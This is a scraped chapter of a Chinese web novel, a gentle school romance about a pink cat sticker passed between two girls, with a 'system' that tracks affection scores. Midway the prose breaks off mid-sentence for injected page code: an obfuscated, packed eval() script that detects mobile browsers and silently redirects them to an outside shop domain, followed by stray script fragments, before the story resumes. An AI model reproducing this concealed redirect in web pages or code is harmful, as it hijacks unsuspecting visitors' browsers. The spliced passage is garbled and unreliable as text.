文趣网 > 其他小说 > 顺手 > 4. 猫贴纸
    宁杳第二天放学去了校门口左手第三家文具店。

    店主是个四十多岁的女人,正在门口给一盆绿萝浇水,看见宁杳进来也没抬头,只说了一句"随便看看"。宁杳站在货架前面,目光在一整面墙的贴纸之间扫过去,花了大概两分钟才找到那个系列。粉色小猫,圆滚滚的,耳朵上顶着一小朵花,跟保温杯上那只一模一样。

    她伸手取下来一张,想了想,又取了一张。两张叠在一起,捏在手里,去柜台付钱。

    "三块。"店主说。

    宁杳掏了三个硬币搁在台面上,把贴纸装进书包夹层里,拉链拉好。走出文具店的时候天已经有点暗了,十月傍晚的风凉飕飕的,她拢了拢校服领口,往宿舍方向走。

    走到半路她忽然停下来。

    两张。一张给自己,另一张呢?她当时脑子里想的是"给右楠穗一张",但她没有右楠穗的联系方式,不在一个宿舍,座位隔着整间教室,连她什么时候在座位上都不知道。

    宁杳站在路灯底下,书包带子攥在手里,看着自己的影子被灯光拉成细细的一条。

    她决定明天早上早点去教室。比右楠穗早。

    那天晚上宁杳没睡好。宿舍熄灯之后她睁着眼睛看上铺的床板,把第二天要做的动作在脑子里过了一遍又一遍:六点十分到教室,走到右楠穗的座位,把贴纸放在桌面上,放正,然后退回来,坐回自己位子上,拿出英语书,假装什么都没发生。

    就这几个动作,她在脑子里演练了不下二十遍。演练到后面她已经分不清自己是在紧张贴纸放得歪不歪,还是在紧张贴纸放完之后右楠穗看到的时候自己也在教室里。她想象了一下那个画面——右楠穗从后门进来,看见桌上多了一张粉色猫贴纸,然后抬头往前排看,看见宁杳坐在那里背对着她,耳朵是红的。

    宁杳把被子蒙过头顶,闷声叹了口气。

    第二天宁杳六点零八分到了教室。

    走廊上没有人,教室里更空,晨光从窗户照进来把她课桌上的灰尘都照得清清楚楚。她走到教室后排,站在右楠穗的座位旁边。

    右楠穗的位置很好认。最后一排靠窗,桌上永远不整齐——左边堆着几本课本,中间摊着一张写到一半的草稿纸,笔帽散落在各处,椅子底下还踩着一团废纸。宁杳低头看了一眼桌面,发现草稿纸角上画了一朵很小的花,铅笔画的,被橡皮擦蹭得有点模糊。

    宁杳看了那朵花两秒。然后把粉色小猫贴纸放在课本最上面那一本的正中央。

    她放得端端正正,猫耳朵朝上,小花的尖角对着右楠穗坐下来的方向。

    放完之后她退了一步,又看了一眼,觉得好像有点太刻意,伸手把贴纸往旁边挪了一寸,让它看起来像是随手搁在那儿的。又看了一眼,觉得还是不对,又挪回来。

    最后她放弃了。转身走回自己座位,坐下,翻开英语课本,心跳快得像跑完了一个八百米。

    六点二十三分,右楠穗进来了。

    宁杳没回头。她听见后门被推开的声音,听见右楠穗走过讲台的脚步声,听见她走到最后一排拉开椅子坐下来,校服衣料和椅背摩擦发出的沙沙声。

    然后是安静。

    大概安静了五秒钟。五秒钟里宁杳盯着课本上的单词,一个字母都没看进去。

    然后她听见右楠穗笑了一声。很轻很短,几乎是从鼻子里哼出来的那种笑,但宁杳听见了。

    "宁杳。"

    她的名字被叫出来的时候,声音里还带着一点没散的笑意。

    宁杳的肩膀僵了一下。她没有回头,只是"嗯"了一声。

    右楠穗坐在教室最后一排,看着桌上那张粉色小猫贴纸,又看了一眼前排那个耳朵已经红透了的背影,把贴纸拿起来翻了一面。背面是白色的,什么都没有。

    她把它贴在了自己笔袋上。笔袋是黑色的,布面的,粉色小猫贴上去特别显眼,像夜空里忽然亮了一颗小星星。

    "挺好看的。"右楠穗说。

    宁杳没回头。但她握着课本的手指松了一点点。她低下头,嘴角往上弯了一下,弯得很浅,只有她自己知道。

    那天上午第二节课课间,宁杳去上厕所,路过走廊的时候听见几个女生在楼梯口说话。声音不大,但在安静的走廊里很清晰。

    "右楠穗笔袋上那个贴纸你看到了吗?粉色的猫。""看到了,她以前从来不用贴纸的。""谁送的啊?""不知道,但她早上一直在看那个贴纸,上课也在看。""……不会是宁杳吧?""宁杳?她们认识吗?""不知道啊但是前几天有人看见右楠穗坐她对面吃饭。""靠,该不会……"

    后面的话被上课铃打断了。宁杳站在厕所隔间里,手扶着门板,脸烫得能把鸡蛋煎熟。

    她花了两分钟才让自己走出去。洗了把脸,冷水扑在脸上,镜子里的人耳尖还是红的。

    回到教室的时候右楠穗正靠在走廊栏杆上跟人说话,手肘撑着栏杆,身子微微歪着,姿态松松散散。她看见宁杳走过来,目光在她脸上停了一下,然后嘴角动了一下,很轻。

    宁杳快步走过去了。但走进教室之后她忍不住回头看了一眼——右楠穗还靠在栏杆上,但目光已经转过来,正落在她背上。两个人的视线隔着一扇教室门撞在一起。

    右楠穗没躲。宁杳也没躲。

    这次对视比上次长了一秒。

    那一秒里走廊上有人在跑,有人在笑,风把教室门口的公示牌吹得轻轻晃了一下。但宁杳什么都没听见。她只看见右楠穗看着她的眼睛,浅棕色的,像秋天下午的光。

    然后右楠穗先转开了目光,偏过头继续跟旁边的人说话,像是刚才什么都没发生。但她右手不经意地抬起来碰了一下笔袋——碰了一下那只粉色小猫。

    宁杳看见了。

    她转身走回座位,坐下,翻开课本,用了整整一节课的时间才让自己的心跳恢复正常。

    那天中午宁杳没去食堂。她趴在课桌上假装睡觉,脸埋在胳膊弯里,脑子里一遍又一遍回放右楠穗碰笔

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17716596|208532||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    袋的那个动作。

    系统在右楠穗脑子里弹了一行字。

    【宁杳对宿主好感度:44。距离任务失败阈值50仅差6点。宿主,最后一次提醒:若好感度突破50,本系统将判定任务失败并终止所有数据支持。届时宿主将无法再获得任何关于宁杳同学的情感反馈数据。】

    右楠穗正在吃饭。她低头看着餐盘里的饭,筷子戳着一块番茄,翻来翻去没夹起来。

    "什么反馈数据?"

    【好感度数值、情绪波动提示、行为建议、预警通知。全部终止。您将面对一个"数据黑箱"状态的宁杳——您不会再知道她怎么想您。】

    右楠穗把那块番茄夹起来了,送进嘴里嚼了两下。

    "那我现在知道她想什么吗?"

    系统沉默了。

    "你每天给我报个数字,"右楠穗咽下去,声音平得像在说今天天气不错,"四十四,四十四,四十四。我知道这个数字,但我知道她想什么吗?"

    系统没有回答。

    右楠穗把筷子放下,靠在椅背上,偏头看了一眼食堂窗外。秋天的梧桐叶子落了一地,被人踩碎成褐色的渣,风一吹就滚到墙角堆成一堆。

    "你报不报,她每天早上喝的牛奶都是我放的。你报不报,那个贴纸都贴在我笔袋上了。你知道多少数字,你知道她今天回头看了我几眼吗?"

    【……系统不统计此项。】

    "所以你算出来的四十四,"右楠穗笑了一下,"够不够准,你自己知道。"

    系统不再出声了。

    那天下午第三节课,右楠穗经过宁杳座位去交作业。她没停步,但经过的时候手垂在身侧,手指轻轻碰了一下宁杳放在桌角的保温杯——杯盖上的粉色小猫,跟笔袋上那只一模一样的。

    保温杯被碰得轻轻转了一小圈。宁杳低着头在写数学题,笔尖没有停,但她的左手从桌面上抬起来,把保温杯扶正了,指尖在猫耳朵上停了一下。

    右楠穗走出教室门。走廊上风很大,她把校服领子竖起来,低头笑了一下,右边酒窝陷进去很深的弧度。

    系统在她脑子里安静了一整个下午。

    没有数字。没有警告。什么提示都没有。

    右楠穗在放学路上终于忍不住了,在脑子里问了一句:"你怎么不说话了?"

    系统隔了很久才回复,声音第一次有了一点不像机器的犹豫。

    【宿主,系统正在重新评估任务逻辑。请稍候。】

    右楠穗背着书包往校门口走,夕阳把她的影子拖得很长。她脚步没停,但嘴角一直弯着。

    她不知道系统在重新评估什么。她只知道笔袋上那只粉色小猫今天被全班至少十个人问过"哪买的",她每次都说"别人送的",说这三个字的时候她脑子里出现的是宁杳的侧脸,安静地低着头,耳朵是红的。

    她想,如果系统真的有一天不报数字了,她应该也能知道宁杳在想什么。

    因为她已经学会看了。